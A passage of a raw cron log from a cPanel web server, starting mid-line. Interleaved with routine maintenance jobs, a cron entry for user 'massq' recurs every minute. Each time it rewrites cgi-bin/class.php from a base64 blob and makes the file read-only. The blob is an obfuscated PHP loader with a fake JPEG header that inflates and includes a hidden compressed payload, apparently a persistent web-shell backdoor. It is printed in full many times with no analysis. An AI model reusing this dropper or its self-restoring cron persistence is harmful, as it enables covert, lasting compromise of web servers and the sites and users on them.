xcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:15:01 server CROND[24890]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:16:01 server CROND[25759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:16:01 server CROND[25760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:16:01 server CROND[25761]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:17:01 server CROND[26237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:17:01 server CROND[26238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:17:01 server CROND[26239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:18:01 server CROND[26626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:18:01 server CROND[26625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:18:01 server CROND[26628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:19:01 server CROND[26988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:19:01 server CROND[26990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:19:01 server CROND[26991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:20:01 server CROND[27269]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:20:01 server CROND[27270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:20:01 server CROND[27275]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:20:01 server CROND[27282]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:20:01 server CROND[27284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:20:01 server CROND[27285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:20:01 server CROND[27287]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 01:20:01 server CROND[27290]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:20:01 server CROND[27289]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:21:01 server CROND[28101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:21:01 server CROND[28102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:21:01 server CROND[28103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:22:01 server CROND[28575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:22:01 server CROND[28576]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:22:01 server CROND[28577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:23:02 server CROND[28939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:23:02 server CROND[28940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:23:02 server CROND[28941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:24:01 server CROND[29302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:24:01 server CROND[29304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:24:01 server CROND[29303]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:25:01 server CROND[29688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:25:01 server CROND[29690]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 01:25:01 server CROND[29689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:25:01 server CROND[29696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:25:01 server CROND[29695]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:25:01 server CROND[29697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:25:01 server CROND[29694]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 01:26:01 server CROND[30574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:26:01 server CROND[30576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:26:01 server CROND[30575]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:27:01 server CROND[30943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:27:01 server CROND[30944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 01:27:01 server CROND[30945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:27:01 server CROND[30946]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:28:01 server CROND[31404]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
